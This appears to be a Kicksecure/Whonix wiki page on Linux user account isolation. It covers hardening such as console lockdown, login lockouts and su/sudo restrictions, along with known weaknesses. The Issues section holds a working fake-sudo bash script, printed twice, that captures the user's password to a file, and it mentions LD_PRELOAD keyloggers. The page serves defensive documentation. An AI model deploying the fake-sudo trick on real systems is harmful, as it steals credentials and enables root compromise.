Essentials[edit]

Non-Hardened Linux Distributions[edit]

Most if not all Linux desktop operating systems:

By default, a compromised non-root user account which is member of group sudo is almost equal to full root compromise as there are too many ways for an attacker to retrieve the sudo password. Malware can sniff the sudo password.
Compromised non-root users that are not member of group sudo in order to acquire root compromise require either,
- A) a local privileged escalation exploit, or
- B) brute forcing the root password.
- For example a user such www in case the web server gets exploited could not gain root without that.
Home folder (~) (such as for example home folder of user user /home/user) might be readable by other users (such as for example by user user2 or www). This to a large degree negates the usefulness of linux file permissions. While compromised user accounts might not be able to destroy user data, all private user data might be exfiltrated.

Kicksecure ™ Hardened Linux Distributions[edit]

Kicksecure ™ implements various mechanisms to implement strong linux user account isolation:

Console Lockdown
Anti Bruteforcing of Linux User Account Passwords
disable root login
su restrictions
sudo restrictions
access rights restrictions (permission lockdown)
- Such as for example home folder (~) of user user /home/user being readable only by user user and not by user www.
Usability: if the advanced advice to Prevent Malware from Sniffing the Root Password is not followed, then users will only require a single, secure root password for the user user account. It is no longer necessary to have two secure passwords for the user user and root accounts. ^[1]

Prevention of Malware Sniffing the Root Password is currently only functional for advanced users following the documentation.

Once proposal Multiple Boot Modes for Better Security (an Implementation of Untrusted Root) has been implemented there will be a strong guidance for users to better separate their limited (everyday use) account (user) and administrative account (admin). This would result in a robust Prevention of Malware Sniffing the Root Password.

Defenses[edit]

Console Lockdown[edit]

Console lockdown allows only members of group console to use console. Everyone else except members of group console-unrestricted are restricted from using console using ancient, unpopular login methods such as using /bin/login over networks, which might be exploitable. (CVE-2001-0797 ^[archive]) Using pam_access. It is active for pam service login. Implemented in package security-misc ^[archive].

This also has good usability. ^[archive] Attempts to login into console for users which are not a member of group console would result in an error message.

By Whonix ™ and Kicksecure ™ default:

Console lockdown is enabled by ^[archive] default in Whonix ™ and Kicksecure ™ version 15.0.0.8.7 and above.
Only user user is a member of group console by default.
There are no default members of group console-unrestricted.

Related files:

Bruteforcing Linux User Account Passwords[edit]

Bruteforcing into Linux user accounts is severely limited in by package security-misc ^[archive].

Lock user accounts after 50 failed login attempts using pam_tally2 until password unlock procedure is required.
https://github.com/Whonix/security-misc/blob/master/usr/share/pam-configs/tally2-security-misc ^[archive]
https://github.com/Whonix/security-misc/blob/master/usr/lib/security-misc/pam_tally2-info ^[archive]
This also has good usability. ^[archive] After the first authentication failure, pam_tally2-info by security-misc will show the number of remaining login attempts before unlock prodecure will be required. Once required, will show a link to documentation how to perform unlock procedure.

Online Password Cracking Restrictions[edit]

A secure password for root/user accounts must not necessarily follow the same rationale as explained on the Passwords page. Offline attacks against the password (parallelization, password cracking attempts only limited by RAM, disk, and CPU) are not possible. Only "online" attacks are possible. Similar to attempts of cracking a password of a user account on a website. Only x attempts every y time are possible. See also protect Linux user accounts against brute force attacks ^[archive].

/etc/securetty[edit]

Package security-misc ^[archive] removes all non-comments from /etc/securetty. Thereby root login and ancient consoles can no longer be used to attempt root login.

https://github.com/Whonix/security-misc/blob/master/etc/securetty.security-misc ^[archive]

Root Login Disabled[edit]

Root login is disabled by default since Whonix ™ 15.0.0.3.6.

Only one user account with password and no root account login supported by default also means the user has only to remember and secure one rather than two strong passwords.

usability:

Root login failures do not count as a failed login attempt fortunately to the pam_tally2 implementation by security-misc.

related files:

su restrictions[edit]

By Debian default, any user account can attempt to use su to try to switch to the root user or any other user account. Any user account can try to bruteforce switching to another user account. Kicksecure / Whonix (package security-misc ^[archive]) configure that group sudo membership required to use su using pam_wheel ^[archive].

https://github.com/Whonix/security-misc/blob/master/usr/share/pam-configs/wheel-security-misc ^[archive]

In future, feature SUID Disabling and Permission Hardening by security-misc will among other SUID removal from binaries also include removal of SUID from su by default for further hardening.

sudo restrictions[edit]

By Debian default, users who are not members of the group sudo cannot use sudo. Therefore limited user accounts (for example user sdwdate) cannot use sudo to attempt to crack other user account passwords to run under these users.

access rights restrictions[edit]

Strong Linux User Account Separation.

Removes read, write and execute access for others for all users who have home folders under folder `/home` by running for example "chmod o-rwx /home/user" during package installation, upgrade or pam `mkhomedir`. This will be done only once per folder in folder `/home` so users who wish to relax file permissions are free to do so. This is to protect previously created files in user home folder which were previously created with lax file permissions prior installation of this package.

`debian/security-misc.postinst`
`/usr/lib/security-misc/permission-lockdown`
`/usr/share/pam-configs/mkhomedir-security-misc`

Issues[edit]

sudo password sniffing[edit]

A compromised user account user user could be infected with a keylogger which could trivially read the sudo password and thereby acquire root access.

Therefore instructions Prevent Malware from Sniffing the Root Password are still required. It's for advanced users only and awareness and usability is bad.

In future, multiple boot modes for better security: persistent + root | persistent + noroot | live + root | live + noroot ^[archive] might solve this issue. Reasons:

Users would have a strong guidance to separate use of user user through different boot modes.
User user would not be a member of group sudo by default anymore.
Only user admin would be a member of group sudo by default.
Every day activity considered higher risk such as browsing the internet would be done clearly separated under user user while activities such as package installation and system upgrades would be done using separate user admin.
Therefore the more likely compromised user user would not have a chance to sniff the sudo password and therefore would be hindered from escalating to root without a local privilege escalation exploit.

X Windows System[edit]

Any graphical application running under X Windows System (X11) can see what any user is typing in any other application for any user. For example, if user user running X11 would run lxsudo -u limited-user some-application that application if compromised could sniff anything that user user is writing. Including but not limited to any sudo password prompts. This is also the case for applications running under mandatory access control framework AppArmor.

See the following footnotes for references about security issues with GUI isolation related to X Windows System (X11). ^[2] ^[3]

Potential solutions:

Can AppArmor prevent sudo password sniffing through abuse of X Windows System? ^[archive]
Can we replace xfce window manager as an easy path to switch to wayland? ^[archive]
In future, multiple boot modes for better security: persistent + root | persistent + noroot | live + root | live + noroot ^[archive] might solve this issue for similar reasons as in above chapter.

Help welcome!

/proc/pid/sched spy on keystrokes[edit]

The /proc filesystem leaks a lot of information about other processes which allows attackers to spy on certain processes a large amount. One example is /proc/pid/sched which allows attackers to spy on keystrokes but there is definitely far more information leakage than just that.

Potential solutions:

hidepid=2 mount option to hide processes from other users - this would prevent spying on processes of other users but since most people run most of their apps as the same user, the benefits are limited unless multiple users are being used
PID namespaces to hide processes from outside the namespace and can be used for sandboxing apps - this would prevent spying on processes outside of the sandbox
apparmor-profile-everything ^[archive] to give fine-grained restrictions over /proc

LD_PRELOAD[edit]

LD_PRELOAD is an environment variable which specifies certain libraries to preload for an application. An attacker can preload their malicious library globally to log keystrokes or even worse, hijack the program.

There are many examples of LD_PRELOAD rootkits in Linux. One example is:

https://github.com/Aishou/wayland-keylogger ^[archive]

Potential solutions:

Use environment scrubbing for everything in apparmor-profile-everything.

Setting up a fake sudo[edit]

An attacker can setup a fake sudo binary so the user gives them their password:

cat <<\EOF > /tmp/sudo
#!/bin/bash
if [[ "${@}" = "" ]]; then
  /usr/bin/sudo
else
  read -r -p "[sudo] password for user: " password
  echo "${password}" > /tmp/password
  echo "Sorry, try again."
  /usr/bin/sudo ${@}
fi
EOF
chmod +x /tmp/sudo
export PATH="/tmp:${PATH}"

cat <<\EOF > /tmp/sudo
#!/bin/bash
if [[ "${@}" = "" ]]; then
  /usr/bin/sudo
else
  read -r -p "[sudo] password for user: " password
  echo "${password}" > /tmp/password
  echo "Sorry, try again."
  /usr/bin/sudo ${@}
fi
EOF
chmod +x /tmp/sudo
export PATH="/tmp:${PATH}"

Specifying the file path of the real sudo will not work either:

function /usr/bin/sudo { echo "Doesn't work"; }
function /bin/sudo { echo "Doesn't work"; }

function /usr/bin/sudo { echo "Doesn't work"; }
function /bin/sudo { echo "Doesn't work"; }

Potential solutions:

None except getting rid of sudo access

Mounting all user-writeable places such as /home and /tmp as non-executable is not a solution because an attacker can use the bash interpreter to bypass the restrictions using bash /path/to/script. Would interpreter lock ^[archive] help?

Device timing sidechannels[edit]

Device timing sidechannels may allow keylogging but more research needs to be done on this.

https://en.wikibooks.org/wiki/Grsecurity/Appendix/Grsecurity_and_PaX_Configuration_Options#Eliminate_stat/notify-based_device_sidechannels ^[archive]

If you say Y here, timing analyses on block or character devices like /dev/ptmx using stat or inotify/dnotify/fanotify will be thwarted for unprivileged users. If a process without CAP_MKNOD stats such a device, the last access and last modify times will match the device’s create time. No access or modify events will be triggered through inotify/dnotify/fanotify for such devices. This feature will prevent attacks that may at a minimum allow an attacker to determine the administrator’s password length.

Potential solutions:

linux-hardened fixes this by restricting it to CAP_MKNOD ^[4]

Related[edit]

https://forums.whonix.org/t/restrict-root-access/7658 ^[archive]
https://forums.whonix.org/t/how-strong-do-linux-user-account-passwords-have-to-be-when-using-full-disk-encryption-fde-too/7698/8 ^[archive]
VirusForget: about problematic files such as ~/.bashrc and other folders which malware can use to fake or sudo prompt and/or to persist after boot
multiple boot modes for better security: persistent + root | persistent + noroot | live + root | live + noroot ^[archive]
walled garden, firewall whitelisting, application whitelisting, sudo lockdown, superuser mode, protected mode ^[archive]
root

User Freedom[edit]

Kicksecure / Whonix / security-misc ^[archive] does not restrict user freedom. All default settings can be undone. Everything is configurable and documented on page Root.

Conclusions[edit]

Therefore there should be no way for limited user accounts which are compromised by malware to change to other user accounts such as root or user user.

There are still issues that would allow a compromised user user to escalate to root if user user is compromised unless procedure Prevent Malware from Sniffing the Root Password is applied.

Resources[edit]

Footnotes[edit]

↑ On the flip-side, if the Prevent Malware from Sniffing the Root Password steps are followed, two secure passwords are required for the user user and user admin accounts.
↑ Quote ^[archive] Joanna Rutkowska, security researcher, founder and advisor (formerly architecture, security, and development) of Qubes OS:

One application can sniff or inject keystrokes to another one, can take snapshots of the screen occupied by windows belonging to another one, etc.
↑ https://github.com/QubesOS/qubes-issues/issues/2695#issuecomment-521646366 ^[archive] @Patrick

Why “I” can do it but user “man” cannot? What makes “me” and user “man” different?
On non-Qubes Debian I am always wondering if I can switch a virtual console using ctrl + alt + F1, why can user “man” not? And how’s that different in Qubes?

@marmarek wrote:

This is about where the process is started and what has connected as controlling terminal. It isn’t anything Qubes specific. A non-privileged process cannot inject characters into a separate session (lets forget about X11 breaking all this assumptions, as we are talking about non-X11 session), especially if it’s of a different user, similarly as it cannot write to files it doesn’t have write permission. to. You can think of it as a write access to /dev/tty* (or /dev/hvc0 in this case). When you login on /dev/hvc0, login process (running as root) will setup permission to /dev/hvc0 and also pass an open FD to it to your shell. Then, you (user, and that shell) will be able to interact with /dev/hvc0 and specifically run commands connected to it. If you don’t login there, login process will not set the permissions, so you won’t have access. > This does assume kernel enforced permissions are effective, but as we are talking here about in-VM account isolation only, it’s a reasonable assumption.

marmarek ^[archive]

(lets forget about X11 breaking all this assumptions

@Patrick

Indeed.
While experimenting ^[archive] with module loading disabling, I experienced that broken X can block switching to virtual console ^[archive]. Needless to say (for other readers), if X can do, also malware could do. “SysRq + r” can take away control from X. After that, switching to another virtual console was possible.

@marmarek

Yes, X (or other process with access to input device) can grab it for exclusive access, disabling Alt+Ctrl+F1 or similar combos. This still is independent of what is happening on other terminals. Especially, input devices grabbed in this mode are handled by X server (or other process that grabbed them). As long as X server doesn’t have access to other terminals, it still can’t influence them.
↑ https://github.com/anthraxx/linux-hardened/commit/72b66e85807fd92b0c8ee53df59492806a6234aa ^[archive]